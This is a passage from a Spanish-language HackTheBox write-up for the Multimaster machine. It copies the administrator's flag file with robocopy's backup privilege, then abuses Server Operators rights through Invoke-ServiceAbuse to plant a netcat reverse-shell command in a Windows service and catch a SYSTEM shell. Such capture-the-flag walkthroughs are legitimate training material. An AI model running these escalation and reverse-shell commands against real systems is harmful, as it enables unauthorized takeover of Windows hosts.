1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
*Evil-WinRM* PS C:\Users\jorden\Documents> robocopy c:\users\administrator\desktop c:\users\jorden\desktop /B ------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows ------------------------------------------------------------------------------- Started : Tuesday, May 19, 2020 12:35:49 PM Source : c:\users\administrator\desktop\ Dest : c:\users\jorden\desktop\ Files : *.* Options : *.* /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30 ------------------------------------------------------------------------------ 2 c:\users\administrator\desktop\ New File 488 desktop.ini 0% 100% New File 34 root.txt 0% 100% ------------------------------------------------------------------------------ Total Copied Skipped Mismatch FAILED Extras Dirs : 1 0 1 0 0 0 Files : 2 2 0 0 0 0 Bytes : 522 522 0 0 0 0 Times : 0:00:00 0:00:00 0:00:00 0:00:00 Speed : 37285 Bytes/sec. Speed : 2.133 MegaBytes/min. Ended : Tuesday, May 19, 2020 12:35:49 PM *Evil-WinRM* PS C:\Users\jorden\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\jorden\desktop> dir Directory: C:\Users\jorden\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 5/19/2020 12:12 PM 34 root.txt *Evil-WinRM* PS C:\Users\jorden\desktop> type root.txt 14xxxxxxxxxxxxxxxxxxxxxxxxxxxxx2e *Evil-WinRM* PS C:\Users\jorden\desktop> |
Y conseguimos la flag sin necesidad de escalar a Administrator.
Método 2 (escalado a system)
Después de revisar los permisos del usuario observamos que pertenece al grupo:
1 |
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group |
Revisamos los servicios existentes y observamos uno en concreto del cual podemos abusar mediante la suite de PowerTools.
Abusamos del mismo modificando el comando que ejecutaría por defecto:
1 2 3 4 5 6 7 8 |
*Evil-WinRM* PS C:\Users\jorden\Documents> Invoke-ServiceAbuse -Name 'XXXXXX' -Command "\\10.10.14.239\SHARE\nc.exe 10.10.14.239 4444 -e cmd.exe" Access denied ... ServiceAbused Command ------------- ------- XXXXXX \\10.10.14.239\SHARE\nc.exe 10.10.14.239 4444 -e cmd.exe |
Y a pesar de que nos da un acceso denegado, conseguimos añadir nuestro comando.
Ahora procederemos a forzar un arranque del servicio (a pesar de que ya está levantado):
1 |
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start XXXXXX |
Y conseguimos en nuestra escucha una shell como system y con ello la flag de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from multimaster.htb [10.10.10.179] 51396 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>dir c:\users\administrator\desktop dir c:\users\administrator\desktop Volume in drive C has no label. Volume Serial Number is 5E12-F84E Directory of c:\users\administrator\desktop 01/09/2020 05:43 PM <DIR> . 01/09/2020 05:43 PM <DIR> .. 05/19/2020 09:15 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 19,421,315,072 bytes free C:\Windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792